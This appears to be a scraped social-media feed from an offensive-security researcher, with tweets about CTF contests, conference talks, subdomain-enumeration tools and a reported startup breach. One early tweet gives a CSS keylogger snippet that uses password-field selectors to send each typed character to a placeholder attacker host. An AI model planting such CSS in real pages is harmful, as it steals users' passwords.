؜

BS-free offensive security tweets. I host @secTalksNL & @securityCTF. Strong exploit dev fetish. Baker of 0days.

[؜ @xxByte]

magic:

CSS keylogger

<style>
input[type="password"][value$="a"] {
 background-image: url("http[:]//evilurl[:]/a");
}

input[type="password"][value$="b"] {
  background-image: url("http[:]//evilurl[:]/b");
}
</style>

[؜ @xxByte]

Active Directory Attack Architecture Map

https://t.co/CEolRHsi1z

[؜ @xxByte]

@x1m_martijn hacksclusive sounds less dangerious than hacktivity :P

[؜ @xxByte]

each time we send an email to msft email (outlook, azure, etc) their spam filter mark our domain https://t.co/Du3Chehq5s as a spam just because it contains "hack" in it.

All other services are OK.

so,
pro tip: if you start a security company don't name it hack-something.

[؜ @xxByte]

I'm offering sponsored logos on my hoodie while hacking in this contest, which gets a lot of media attention.

send your logo here:
[email protected]

space starting at 499EUR
you can buy multiple
(only 4 left!)

#cybersecurity #netherlands #thehague

[؜ @xxByte]

Hackers of NL,
this one is for you

As a winner of the previous editions. I highly recommend this contest. It's for a good cause, great way to tap into the community and show your skills.

#netherlands #hacking #infosec

[؜ @xxByte]

my research paper got accepted to @Bsideslisbon this year. See you there.

teaser: using ai for hacking the physical (red teaming and beyond)

[؜ @xxByte]

@HITBSecConf

[؜ @xxByte]

@HITBSecConf you guys stopped coming to Amsterdam? why?

[؜ @xxByte]

Started as a joke but sold quickly:

Offering 6 places to sponsor your logo on my hacking hoodie. I will be in the biggest cyber security events during the cyber week in #Netherlands with lot of media and attention including One Conference and Hack The Hague

[email protected]

[؜ @xxByte]

@sebastian_paul It does sounds very boty.

[؜ @xxByte]

still cannot believe this is a free tool!
find subdomains via SSL certs:
https://t.co/skWf3Ue3fS

credits: Malvin of @hadriansecurity

[؜ @xxByte]

Want to find subdomains for your enum stage?
Forget the broken https://t.co/hNrhtr7N13 and use https://t.co/OowxyA25eu

has an api, mcp, and is not broken :)

[؜ @xxByte]

@JackRhysider go commando! lol

[؜ @xxByte]

Call for Speakers for #DefCamp 2026 is open on Sessionize and I've just submitted a session!

Teaser: It's about mixing the physical security attacks with ai

https://t.co/k5MFNIOS0U
@DefCampRO #ro

[Keep Your Home IP Anywhere — Bypass Geo Locks @flashedrouter]

Made a free tool because we kept getting asked "how do I know if my VPN is actually leaking." One click shows your real IP, DNS, WebRTC and timezone exposure exactly like a website would see it. No account, no catch. https://t.co/3VgPSqbXKX

[؜ @xxByte]

@cibernicola_es it's there too!

[؜ @xxByte]

Your browser leaks a lot of info about your usage.

Use this extension to see what's being leaked and how to fix it.

https://t.co/xi0K9ay8EY

#privacy #dataleak

[؜ @xxByte]

Want to find subdomains for your enum stage?
Forget the broken https://t.co/hNrhtr7N13 and use https://t.co/OowxyA25eu

has an api, mcp, and is not broken :)

[Crypto Jargon @Crypto_Jargon]

HOLY SHIT!!! 🤯

NEVADA POLICE LEAKED A CRYPTO SEED PHRASE ON BODYCAM.

The video went public.

Shortly after, the wallet was drained of $1.1 MILLION+.

No blockchain hack.

No sophisticated exploit.

Just a seed phrase appearing in police footage.

One leaked video. $1.1M gone. 😭

[؜ @xxByte]

@StackOverflow @OReillyMedia @BlueYonder wow you guys still alive?

[؜ @xxByte]

@TallyForms , a (>5m ARR) bootstrapped scaleup, got breached just few hours ago. Probably because of an outdated metabase instance.

If you are vibe coding - Please check your security posture as soon as you can. It's definitely not worth it for you to lose your customers trust.